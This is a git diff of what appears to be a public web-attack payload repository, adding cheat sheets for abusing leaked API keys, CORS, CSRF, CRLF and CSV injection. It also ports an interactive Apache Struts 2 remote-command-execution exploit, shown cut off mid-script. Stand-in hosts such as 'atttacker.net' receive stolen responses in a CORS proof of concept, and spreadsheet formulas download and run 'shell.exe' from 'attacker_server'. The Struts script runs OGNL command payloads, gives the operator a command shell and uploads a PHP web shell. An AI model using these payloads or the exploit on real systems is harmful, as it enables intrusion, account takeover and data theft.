diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 0000000000..8b5d40b67d --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1,5 @@ +# These are supported funding model platforms + +github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] +ko_fi: swissky # Replace with a single Ko-fi username +custom: https://www.buymeacoffee.com/swissky diff --git a/API Key Leaks/README.md b/API Key Leaks/README.md new file mode 100644 index 0000000000..20ee3239f1 --- /dev/null +++ b/API Key Leaks/README.md @@ -0,0 +1,93 @@ +# API Key Leaks + +> The API key is a unique identifier that is used to authenticate requests associated with your project. Some developpers might hardcode them or leave it on public shares. + +## Summary + +- [Tools](#tools) +- [Exploit](#exploit) + - [Algolia](#algolia) + - [AWS Access Key ID & Secret](#aws-access-key-id--secret) + - [Slack API Token](#slack-api-token) + - [Facebook Access Token](#facebook-access-token) + - [Github client id and client secret](#github-client-id-and-client-secret) + - [Twilio Account_sid and Auth Token](#twilio-account_sid-and-auth-token) + - [Twitter API Secret](#twitter-api-secret) + - [Twitter Bearer Token](#twitter-bearer-token) + - [Gitlab Personal Access Token](#gitlab-personal-access-token) + +## Tools + +- [KeyFinder - is a tool that let you find keys while surfing the web!](https://github.com/momenbasel/KeyFinder) +- [Keyhacks - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.](https://github.com/streaak/keyhacks) + +## Exploit + +The following commands can be used to takeover accounts or extract personnal informations from the API using the leaked token. + +### Algolia + +```powershell +curl --request PUT \ + --url https://-1.algolianet.com/1/indexes//settings \ + --header 'content-type: application/json' \ + --header 'x-algolia-api-key: ' \ + --header 'x-algolia-application-id: ' \ + --data '{"highlightPreTag": ""}' +``` + +### AWS Access Key ID & Secret + +```powershell +git clone https://github.com/andresriancho/enumerate-iam +cd enumerate-iam +./enumerate-iam.py --access-key AKIA... --secret-key XXX.. +``` + +### Slack API Token + +```powershell +curl -sX POST "https://slack.com/api/auth.test?token=xoxp-TOKEN_HERE&pretty=1" +``` + +### Facebook Access Token + +```powershell +curl https://developers.facebook.com/tools/debug/accesstoken/?access_token=ACCESS_TOKEN_HERE&version=v3.2 +``` + +### Github client id and client secret + +```powershell +curl 'https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy' +``` + +### Twilio Account_sid and Auth token + +```powershell +curl -X GET 'https://api.twilio.com/2010-04-01/Accounts.json' -u ACCOUNT_SID:AUTH_TOKEN +``` + +### Twitter API Secret + +```powershell +curl -u 'API key:API secret key' --data 'grant_type=client_credentials' 'https://api.twitter.com/oauth2/token' +``` + +### Twitter Bearer Token + +```powershell +curl --request GET --url https://api.twitter.com/1.1/account_activity/all/subscriptions/count.json --header 'authorization: Bearer TOKEN' +``` + +### Gitlab Personal Access Token + +```powershell +curl "https://gitlab.example.com/api/v4/projects?private_token=" +``` + + +## References + +* [Finding Hidden API Keys & How to use them - Sumit Jain - August 24, 2019](https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d) +* [Private API key leakage due to lack of access control - yox - August 8, 2018](https://hackerone.com/reports/376060) diff --git a/AWS Amazon Bucket S3/README.md b/AWS Amazon Bucket S3/README.md index 17a1a5e5d5..98042560ea 100644 --- a/AWS Amazon Bucket S3/README.md +++ b/AWS Amazon Bucket S3/README.md @@ -40,7 +40,7 @@ result = s3.list_buckets() print(result) except Exception as e: - print(e + print(e) ``` ## AWS Configuration @@ -184,6 +184,32 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/ +## Enumerate IAM permissions + +Enumerate the permissions associated with AWS credential set with [enumerate-iam](https://github.com/andresriancho/enumerate-iam) + +```powershell +git clone git@github.com:andresriancho/enumerate-iam.git +cd enumerate-iam/ +pip install -r requirements.txt +./enumerate-iam.py --access-key AKIA... --secret-key StF0q... +2019-05-10 15:57:58,447 - 21345 - [INFO] Starting permission enumeration for access-key-id "AKIA..." +2019-05-10 15:58:01,532 - 21345 - [INFO] Run for the hills, get_account_authorization_details worked! +2019-05-10 15:58:01,537 - 21345 - [INFO] -- { + "RoleDetailList": [ + { + "Tags": [], + "AssumeRolePolicyDocument": { + "Version": "2008-10-17", + "Statement": [ + { +... +2019-05-10 15:58:26,709 - 21345 - [INFO] -- gamelift.list_builds() worked! +2019-05-10 15:58:26,850 - 21345 - [INFO] -- cloudformation.list_stack_sets() worked! +2019-05-10 15:58:26,982 - 21345 - [INFO] -- directconnect.describe_locations() worked! +2019-05-10 15:58:27,021 - 21345 - [INFO] -- gamelift.describe_matchmaking_rule_sets() worked! +2019-05-10 15:58:27,311 - 21345 - [INFO] -- sqs.list_queues() worked! +``` ## References @@ -192,3 +218,6 @@ For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws * [flaws.cloud Challenge based on AWS vulnerabilities - by Scott Piper of Summit Route](http://flaws.cloud/) * [flaws2.cloud Challenge based on AWS vulnerabilities - by Scott Piper of Summit Route](http://flaws2.cloud) * [Guardzilla video camera hardcoded AWS credential - 0dayallday.org](https://www.0dayallday.org/guardzilla-video-camera-hard-coded-aws-credentials/) +* [AWS PENETRATION TESTING PART 1. S3 BUCKETS - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-1-s3-buckets/) +* [AWS PENETRATION TESTING PART 2. S3, IAM, EC2 - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-2-s3-iam-ec2/) +* [A Technical Analysis of the Capital One Hack - CloudSploit - Aug 2 2019](https://blog.cloudsploit.com/a-technical-analysis-of-the-capital-one-hack-a9b43d7c8aea?gi=8bb65b77c2cf) \ No newline at end of file diff --git a/BOOKS.md b/BOOKS.md new file mode 100644 index 0000000000..e24ddbfdc9 --- /dev/null +++ b/BOOKS.md @@ -0,0 +1,22 @@ +# Book's list + +Grab a book and relax, these ones are the best security books (in my opinion). + +- [Web Hacking 101](https://leanpub.com/web-hacking-101) +- [Breaking into Information Security: Learning the Ropes 101 - Andrew Gill](https://leanpub.com/ltr101-breaking-into-infosec) +- [OWASP Testing Guide v4](https://www.owasp.org/index.php/OWASP_Testing_Project) +- [Penetration Testing: A Hands-On Introduction to Hacking](http://amzn.to/2dhHTSn) +- [The Hacker Playbook 2: Practical Guide to Penetration Testing](http://amzn.to/2d9wYKa) +- [The Hacker Playbook 3: Practical Guide to Penetration Testing - Red Team Edition](http://a.co/6MqC9bD) +- [The Mobile Application Hacker’s Handbook](http://amzn.to/2cVOIrE) +- [Black Hat Python: Python Programming for Hackers and Pentesters](http://www.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900) +- [Metasploit: The Penetration Tester's Guide](https://www.nostarch.com/metasploit) +- [The Database Hacker's Handbook, David Litchfield et al., 2005](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0764578014.html) +- [The Shellcoders Handbook by Chris Anley et al., 2007](http://www.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html) +- [The Mac Hacker's Handbook by Charlie Miller & Dino Dai Zovi, 2009](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0470395362.html) +- [The Web Application Hackers Handbook by D. Stuttard, M. Pinto, 2011](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118026470.html) +- [iOS Hackers Handbook by Charlie Miller et al., 2012](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118204123.html) +- [Android Hackers Handbook by Joshua J. Drake et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-111860864X.html) +- [The Browser Hackers Handbook by Wade Alcorn et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118662091.html) +- [The Mobile Application Hackers Handbook by Dominic Chell et al., 2015](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118958500.html) +- [Car Hacker's Handbook by Craig Smith, 2016](https://www.nostarch.com/carhacking) diff --git a/CORS Misconfiguration/README.md b/CORS Misconfiguration/README.md new file mode 100644 index 0000000000..dcf5bfc27b --- /dev/null +++ b/CORS Misconfiguration/README.md @@ -0,0 +1,90 @@ +# CORS Misconfiguration + +> A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker’s site using the victim’s credentials. + +## Summary + +* [Prerequisites](#prerequisites) +* [Exploitation](#exploitation) +* [References](#references) + +## Prerequisites + +* BURP HEADER> `Origin: https://evil.com` +* VICTIM HEADER> `Access-Control-Allow-Credential: true` +* VICTIM HEADER> `Access-Control-Allow-Origin: https://evil.com` + +## Exploitation + +Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target **https://victim.example.com/endpoint**. + +### Vulnerable example + +```powershell +GET /endpoint HTTP/1.1 +Host: victim.example.com +Origin: https://evil.com +Cookie: sessionid=... + +HTTP/1.1 200 OK +Access-Control-Allow-Origin: https://evil.com +Access-Control-Allow-Credentials: true + +{"[private API key]"} +``` + +### Proof of concept + +```js +var req = new XMLHttpRequest(); +req.onload = reqListener; +req.open('get','https://victim.example.com/endpoint',true); +req.withCredentials = true; +req.send(); + +function reqListener() { + location='//atttacker.net/log?key='+this.responseText; +}; +``` + +or + +```html + + +

CORS PoC

+
+ +
+ + + +``` + +## Bug Bounty reports + +* [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax)](https://hackerone.com/reports/168574) +* [CORS misconfig | Account Takeover - niche.co - Rohan (nahoragg)](https://hackerone.com/reports/426147) +* [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy)](https://hackerone.com/reports/235200) +* [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t)](https://hackerone.com/reports/430249) +* [[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7)](https://hackerone.com/reports/470298) + +## References + +* [Think Outside the Scope: Advanced CORS Exploitation Techniques - @Sandh0t - May 14 2019](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) +* [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle | 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) +* [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - DECEMBER 16, 2016](https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/) +* [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018](https://www.corben.io/advanced-cors-techniques/) \ No newline at end of file diff --git a/CRLF injection/README.md b/CRLF Injection/README.md similarity index 72% rename from CRLF injection/README.md rename to CRLF Injection/README.md index 862a3e58d1..534228a716 100644 --- a/CRLF injection/README.md +++ b/CRLF Injection/README.md @@ -1,8 +1,16 @@ # CRLF -The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line. +>The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line. -A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL. +>A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL. + +## Summary + +- [CRLF - Add a cookie](#crlf---add-a-cookie) +- [CRLF - Add a cookie - XSS Bypass](#crlf---add-a-cookie---xss-bypass) +- [CRLF - Write HTML](#crlf---write-html) +- [CRLF - Filter Bypass](#crlf---filter-bypass) +- [References](#references) ## CRLF - Add a cookie diff --git a/CRLF injection/crlfinjection.txt b/CRLF Injection/crlfinjection.txt similarity index 100% rename from CRLF injection/crlfinjection.txt rename to CRLF Injection/crlfinjection.txt diff --git a/CSRF injection/Images/CSRF-CheatSheet.png b/CSRF Injection/Images/CSRF-CheatSheet.png similarity index 100% rename from CSRF injection/Images/CSRF-CheatSheet.png rename to CSRF Injection/Images/CSRF-CheatSheet.png diff --git a/CSRF Injection/README.md b/CSRF Injection/README.md new file mode 100644 index 0000000000..77fd4b4415 --- /dev/null +++ b/CSRF Injection/README.md @@ -0,0 +1,118 @@ +# Cross-Site Request Forgery + +> Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP + + +## Summary + +* [Methodology](#methodology) +* [Payloads](#payloads) + * [HTML GET - Requiring User Interaction](#html-get---requiring-user-interaction) + * [HTML GET - No User Interaction)](#html-get---no-user-interaction) + * [HTML POST - Requiring User Interaction](#html-post---requiring-user-interaction) + * [HTML POST - AutoSubmit - No User Interaction](#html-post---autosubmit---no-user-interaction) + * [JSON GET - Simple Request](#json-get---simple-request) + * [JSON POST - Simple Request](#json-post---simple-request) + * [JSON POST - Complex Request](#json-post---complex-request) +* [References](#references) + +## Tools + +* [XSRFProbe - The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.](https://github.com/0xInfection/XSRFProbe) + +## Methodology + +![CSRF_cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CSRF%20Injection/Images/CSRF-CheatSheet.png?raw=true) + +## Payloads + +When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it. + +### HTML GET - Requiring User Interaction + +```html +Click Me +``` + +### HTML GET - No User Interaction + +```html + +``` + +### HTML POST - Requiring User Interaction + +```html +
+ + +
+``` + +### HTML POST - AutoSubmit - No User Interaction + +```html +
+ + +
+ + +``` + + +### JSON GET - Simple Request + +```html + +``` + +### JSON POST - Simple Request + +```html + +``` + +### JSON POST - Complex Request + +```html + +``` + + +## References + +- [Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3rd, 2016](https://trustfoundry.net/cross-site-request-forgery-cheat-sheet/) +- [Cross-Site Request Forgery (CSRF) - OWASP](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)) +- [Messenger.com CSRF that show you the steps when you check for CSRF - Jack Whitton](https://whitton.io/articles/messenger-site-wide-csrf/) +- [Paypal bug bounty: Updating the Paypal.me profile picture without consent (CSRF attack) - Florian Courtial](https://hethical.io/paypal-bug-bounty-updating-the-paypal-me-profile-picture-without-consent-csrf-attack/) +- [Hacking PayPal Accounts with one click (Patched) - Yasser Ali](http://yasserali.com/hacking-paypal-accounts-with-one-click/) +- [Add tweet to collection CSRF - vijay kumar](https://hackerone.com/reports/100820) +- [Facebookmarketingdevelopers.com: Proxies, CSRF Quandry and API Fun - phwd](http://philippeharewood.com/facebookmarketingdevelopers-com-proxies-csrf-quandry-and-api-fun/) +- [How i Hacked your Beats account ? Apple Bug Bounty - @aaditya_purani](https://aadityapurani.com/2016/07/20/how-i-hacked-your-beats-account-apple-bug-bounty/) +- [FORM POST JSON: JSON CSRF on POST Heartbeats API - Dr.Jones](https://hackerone.com/reports/245346) +- [Hacking Facebook accounts using CSRF in Oculus-Facebook integration](https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf) +- [Cross site request forgery (CSRF) - Sjoerd Langkemper - Jan 9, 2019](http://www.sjoerdlangkemper.nl/2019/01/09/csrf/) +- [Cross-Site Request Forgery Attack - PwnFunction](https://www.youtube.com/watch?v=eWEgUcHPle0) +- [Wiping Out CSRF - Joe Rozner - Oct 17, 2017](#https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f) diff --git a/CSRF injection/README.md b/CSRF injection/README.md deleted file mode 100644 index 0d1cf4f228..0000000000 --- a/CSRF injection/README.md +++ /dev/null @@ -1,101 +0,0 @@ -# Cross-Site Request Forgery - -> Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP - - -## Summary - -* [Methodology](#methodology) -* [Payloads](#payloads) - -## Methodology - -![CSRF_cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CSRF%20injection/Images/CSRF-CheatSheet.png?raw=true) - -## Payloads - -### HTML GET – Requiring User Interaction for Proof-of-Concept - -```html -Click Me -``` - -### HTML GET (No User Interaction) - -```html - -``` - -### HTML POST – Requiring User Interaction for Proof-of-Concept - -```html -
- - -
-``` - -### HTML POST (AutoSubmit – No User Interaction) - -```html -
- - -
- - -``` - - -### JSON GET – Simple Request - -```html - -``` - -### JSON POST – Simple Request - -```html - -``` - -### JSON POST – Complex Request - -```html - -``` - - -## References - -- [Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3rd, 2016](https://trustfoundry.net/cross-site-request-forgery-cheat-sheet/) -- [Cross-Site Request Forgery (CSRF) - OWASP](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)) -- [Messenger.com CSRF that show you the steps when you check for CSRF](https://whitton.io/articles/messenger-site-wide-csrf/) by Jack Whitton -- [Paypal bug bounty: Updating the Paypal.me profile picture without consent (CSRF attack)](https://hethical.io/paypal-bug-bounty-updating-the-paypal-me-profile-picture-without-consent-csrf-attack/) by Florian Courtial -- [Hacking PayPal Accounts with one click (Patched)](http://yasserali.com/hacking-paypal-accounts-with-one-click/) by Yasser Ali -- [Add tweet to collection CSRF](https://hackerone.com/reports/100820) by vijay kumar -- [Facebookmarketingdevelopers.com: Proxies, CSRF Quandry and API Fun](http://philippeharewood.com/facebookmarketingdevelopers-com-proxies-csrf-quandry-and-api-fun/) by phwd -- [How i Hacked your Beats account ? Apple Bug Bounty](https://aadityapurani.com/2016/07/20/how-i-hacked-your-beats-account-apple-bug-bounty/) by @aaditya_purani -- [FORM POST JSON: JSON CSRF on POST Heartbeats API](https://hackerone.com/reports/245346) by Dr.Jones -- [Hacking Facebook accounts using CSRF in Oculus-Facebook integration](https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf) \ No newline at end of file diff --git a/CSV injection/README.md b/CSV Injection/README.md similarity index 75% rename from CSV injection/README.md rename to CSV Injection/README.md index 126105d606..8a20586571 100644 --- a/CSV injection/README.md +++ b/CSV Injection/README.md @@ -7,10 +7,19 @@ Many web applications allow the user to download content such as templates for i Basic exploit with Dynamic Data Exchange ```powershell +# pop a calc DDE ("cmd";"/C calc";"!A0")A0 @SUM(1+1)*cmd|' /C calc'!A0 +=2+5+cmd|' /C calc'!A0 + +# pop a notepad =cmd|' /C notepad'!'A1' + +# powershell download and execute =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0 + +# msf smb delivery with rundll32 +=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1 ``` Technical Details of the above payload: @@ -34,4 +43,6 @@ Any formula can be started with * [Google Bug Hunter University - CSV Excel formula injection](https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection) * [Comma Separated Vulnerabilities - James Kettle](https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/) * [CSV INJECTION: BASIC TO EXPLOIT!!!! - 30/11/2017 - Akansha Kesharwani](https://payatu.com/csv-injection-basic-to-exploit/) -* [From CSV to Meterpreter - 5th November 2015 - Adam Chester](https://blog.xpnsec.com/from-csv-to-meterpreter/) \ No newline at end of file +* [From CSV to Meterpreter - 5th November 2015 - Adam Chester](https://blog.xpnsec.com/from-csv-to-meterpreter/) +* [CSV Injection -> Meterpreter on Pornhub - @ZephrFish Andy](https://news.webamooz.com/wp-content/uploads/bot/offsecmag/147.pdf) +* [The Absurdly Underestimated Dangers of CSV Injection - 7 October, 2017 - George Mauer](http://georgemauer.net/2017/10/07/csv-injection.html) \ No newline at end of file diff --git a/CVE Exploits/Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py b/CVE Exploits/Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py old mode 100755 new mode 100644 index fa9551823e..bda451a4af --- a/CVE Exploits/Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py +++ b/CVE Exploits/Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py @@ -1,13 +1,18 @@ #!/usr/bin/python -import urllib2 +from __future__ import print_function +from future import standard_library +standard_library.install_aliases() +from builtins import input +from builtins import str +import urllib.request, urllib.error, urllib.parse import time import sys import os -import commands +import subprocess import requests import readline -import urlparse +import urllib.parse RED = '\033[1;31m' BLUE = '\033[94m' @@ -21,190 +26,190 @@ def cls(): os.system(['clear', 'cls'][os.name == 'nt']) cls() -logo = BLUE+''' - ___ _____ ___ _ _ _____ ___ - ( _`\(_ _)| _`\ ( ) ( )(_ _)( _`\ +logo = BLUE+''' + ___ _____ ___ _ _ _____ ___ + ( _`\(_ _)| _`\ ( ) ( )(_ _)( _`\ | (_(_) | | | (_) )| | | | | | | (_(_) - `\__ \ | | | , / | | | | | | `\__ \ + `\__ \ | | | , / | | | | | | `\__ \ ( )_) | | | | |\ \ | (_) | | | ( )_) | - `\____) (_) (_) (_)(_____) (_) `\____) + `\____) (_) (_) (_)(_____) (_) `\____) =[ Command Execution v3]= - By @s1kr10s + By @s1kr10s '''+ENDC -print logo - -print " * Ejemplo: http(s)://www.victima.com/files.login\n" -host = raw_input(BOLD+" [+] HOST: "+ENDC) +print(logo) + +print(" * Ejemplo: http(s)://www.victima.com/files.login\n") +host = input(BOLD+" [+] HOST: "+ENDC) if len(host) > 0: - if host.find("https://") != -1 or host.find("http://") != -1: - - poc = "?redirect:${%23w%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29.getWriter%28%29,%23w.println%28%27mamalo%27%29,%23w.flush%28%29,%23w.close%28%29}" - - def exploit(comando): - exploit = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+comando+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}" - return exploit - - def exploit2(comando): - exploit2 = "Content-Type:%{(+++#_='multipart/form-data').(+++#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(+++#_memberAccess?(+++#_memberAccess=#dm):((+++#container=#context['com.opensymphony.xwork2.ActionContext.container']).(+++#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(+++#ognlUtil.getExcludedPackageNames().clear()).(+++#ognlUtil.getExcludedClasses().clear()).(+++#context.setMemberAccess(+++#dm)))).(+++#shell='"+str(comando)+"').(+++#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(+++#shells=(+++#iswin?{'cmd.exe','/c',#shell}:{'/bin/sh','-c',#shell})).(+++#p=new java.lang.ProcessBuilder(+++#shells)).(+++#p.redirectErrorStream(true)).(+++#process=#p.start()).(+++#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(+++#process.getInputStream(),#ros)).(+++#ros.flush())}" - return exploit2 - - def exploit3(comando): - exploit3 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27"+comando+"%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D" - return exploit3 - - def pwnd(shellfile): - exploitfile = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+shellfile+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}" - return exploitfile - - def validador(): - arr_lin_win = ["file%20/etc/passwd","dir","net%20users","id","/sbin/ifconfig","cat%20/etc/passwd"] - return arr_lin_win - - #def reversepl(ip,port): - # print "perl" - - #def reversepy(ip,port): - # print "python" - - # CVE-2013-2251 --------------------------------------------------------------------------------- - try: - response = '' - response = urllib2.urlopen(host+poc) - except: - print RED+" Servidor no responde\n"+ENDC - exit(0) - - print BOLD+"\n [+] EJECUTANDO EXPLOIT CVE-2013-2251"+ENDC - - if response.read().find("mamalo") != -1: - print RED+" [-] VULNERABLE"+ENDC - owned = open('vulnsite.txt', 'a') - owned.write(str(host)+'\n') - owned.close() - - opcion = raw_input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC) - #print BOLD+" * [SHELL REVERSA]"+ENDC - #print OTRO+" Struts@Shell:$ reverse 127.0.0.1 4444 (perl,python,bash)\n"+ENDC - if opcion == 's': - print YELLOW+" [-] GET PROMPT...\n"+ENDC - time.sleep(1) - print BOLD+" * [UPLOAD SHELL]"+ENDC - print OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC - - while 1: - separador = raw_input(GREEN+"Struts2@Shell_1:$ "+ENDC) - espacio = separador.split(' ') - comando = "','".join(espacio) - - if espacio[0] != 'reverse' and espacio[0] != 'pwnd': - shell = urllib2.urlopen(host+exploit("'"+str(comando)+"'")) - print "\n"+shell.read() - elif espacio[0] == 'pwnd': - pathsave=raw_input("path EJ:/tmp/: ") - - if espacio[1] == 'php': - shellfile = """'python','-c','f%3dopen("/tmp/status.php","w");f.write("")'""" - urllib2.urlopen(host+pwnd(str(shellfile))) - shell = urllib2.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'")) - if shell.read().find(pathsave+"status.php") != -1: - print BOLD+GREEN+"\nCreate File Successfull :) ["+pathsave+"status.php]\n"+ENDC - else: - print BOLD+RED+"\nNo Create File :/\n"+ENDC - - # CVE-2017-5638 --------------------------------------------------------------------------------- - print BLUE+" [-] NO VULNERABLE"+ENDC - print BOLD+" [+] EJECUTANDO EXPLOIT CVE-2017-5638"+ENDC - x = 0 - while x < len(validador()): - valida = validador()[x] - - try: - req = urllib2.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(valida))}) - result = urllib2.urlopen(req).read() - - if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1: - print RED+" [-] VULNERABLE"+ENDC - owned = open('vulnsite.txt', 'a') - owned.write(str(host)+'\n') - owned.close() - - opcion = raw_input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC) - if opcion == 's': - print YELLOW+" [-] GET PROMPT...\n"+ENDC - time.sleep(1) - - while 1: - try: - separador = raw_input(GREEN+"\nStruts2@Shell_2:$ "+ENDC) - req = urllib2.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(separador))}) - result = urllib2.urlopen(req).read() - print "\n"+result - except: - exit(0) - else: - x = len(validador()) - else: - print BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x) - except: - pass - x=x+1 - - # CVE-2018-11776 --------------------------------------------------------------------------------- - print BLUE+" [-] NO VULNERABLE"+ENDC - print BOLD+" [+] EJECUTANDO EXPLOIT CVE-2018-11776"+ENDC - x = 0 - while x < len(validador()): - #Filtramos la url solo dominio - url = host.replace('#', '%23') - url = host.replace(' ', '%20') - if ('://' not in url): - url = str("http://") + str(url) - scheme = urlparse.urlparse(url).scheme - site = scheme + '://' + urlparse.urlparse(url).netloc - - #Filtramos la url solo path - file_path = urlparse.urlparse(url).path - if (file_path == ''): - file_path = '/' - - valida = validador()[x] - try: - result = requests.get(site+"/"+exploit3(str(valida))+file_path).text - - if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1: - print RED+" [-] VULNERABLE"+ENDC - owned = open('vulnsite.txt', 'a') - owned.write(str(host)+'\n') - owned.close() - - opcion = raw_input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC) - if opcion == 's': - print YELLOW+" [-] GET PROMPT...\n"+ENDC - time.sleep(1) - print BOLD+" * [UPLOAD SHELL]"+ENDC - print OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC - - while 1: - separador = raw_input(GREEN+"Struts2@Shell_3:$ "+ENDC) - espacio = separador.split(' ') - comando = "%20".join(espacio) - - shell = urllib2.urlopen(host+exploit3(str(comando))) - 